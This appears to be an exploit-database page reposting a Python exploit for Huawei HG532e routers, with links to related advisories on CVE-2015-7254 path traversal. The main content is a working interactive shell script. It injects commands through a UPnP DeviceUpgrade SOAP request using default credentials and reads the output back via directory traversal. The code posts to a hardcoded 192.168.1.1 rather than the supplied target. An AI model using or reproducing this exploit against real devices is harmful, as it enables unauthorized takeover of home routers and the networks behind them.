Lucene search
K

Huawei Router HG532e - Command Execution Exploit

🗓️ 15 Dec 2018 00:00:00Reported by RebellionType 
zdt
 zdt
🔗 0day.today👁 181 Views

Huawei Router HG532e Command Execution Exploi

Related
Code
ReporterTitlePublishedViews
Family
CNVD
Multiple Huawei Product Catalog Traversal Vulnerabilities
10 Nov 201500:00
cnvd
CVE
CVE-2015-7254
7 Nov 201502:00
cve
Cvelist
CVE-2015-7254
7 Nov 201502:00
cvelist
Huawei
Security Advisory - Path Traversal Vulnerability in Huawei Home Gateway Products
24 Nov 201500:00
huawei
NVD
CVE-2015-7254
7 Nov 201503:59
nvd
Packet Storm
Huawei Router HG532e Command Execution
14 Dec 201800:00
packetstorm
Prion
Directory traversal
7 Nov 201503:59
prion
CERT
Huawei HG532 routers contain a path traversal vulnerability
6 Nov 201500:00
cert
VulnCheck KEV
VulnCheck KEV: CVE-2015-7254
12 Jan 202200:00
vulncheck_kev
#!/bin/python
'''
    Author : Rebellion
    Github : @rebe11ion
    Twitter : @rebellion
'''

import urllib2,requests,os,sys
from requests.auth import HTTPDigestAuth
DEFAULT_HEADERS = {"User-Agent": "Mozilla", }
DEFAULT_TIMEOUT = 5
def fetch_url(url):
    global DEFAULT_HEADERS, DEFAULT_TIMEOUT
    request = urllib2.Request(url, headers=DEFAULT_HEADERS)
    data = urllib2.urlopen(request, timeout=DEFAULT_TIMEOUT).read()
    return data

def exploit(ip, path):
    url = "http://%s:37215/icon/../../../%s" % (ip, path)
    data = fetch_url(url)
    return data

def main():
    pwd = "/"
    cmd_path = "/tmp/ccmd"
    pwd_path = "/tmp/cpwd"
    while True:
       targetip = sys.argv[1]
       cmd_ = raw_input("[{}]$ ".format(pwd))
       cmd = "cd {} ; {} > {} ; pwd > {}".format(pwd,cmd_.split("|")[0],cmd_path,pwd_path)
       rm = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"
       url = "http://192.168.1.1:37215/ctrlt/DeviceUpgrade_1"
       requests.post(url, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
       assert cmd_path.startswith("/"), "An absolute path is required"
       data = exploit(targetip, cmd_path)
       open(cmd_path,"wb").write(data)
       if "cd" in cmd_:
          pass
       elif "clear" in cmd_:
          os.system("clear")
       elif "cat" in cmd_:
          os.system(cmd_.replace(cmd_.split("cat")[1].split(" ")[1],cmd_path))
       else:
          if "|" in cmd_:
             os.system("cat {} | {}".format(cmd_path,cmd_.split("|")[1]))
          else:
             os.system("cat {}".format(cmd_path))
       pwd = exploit(targetip,pwd_path).strip("\n")

if __name__ == "__main__":
    main()

#  0day.today [2018-12-18]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Dec 2018 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.19179
181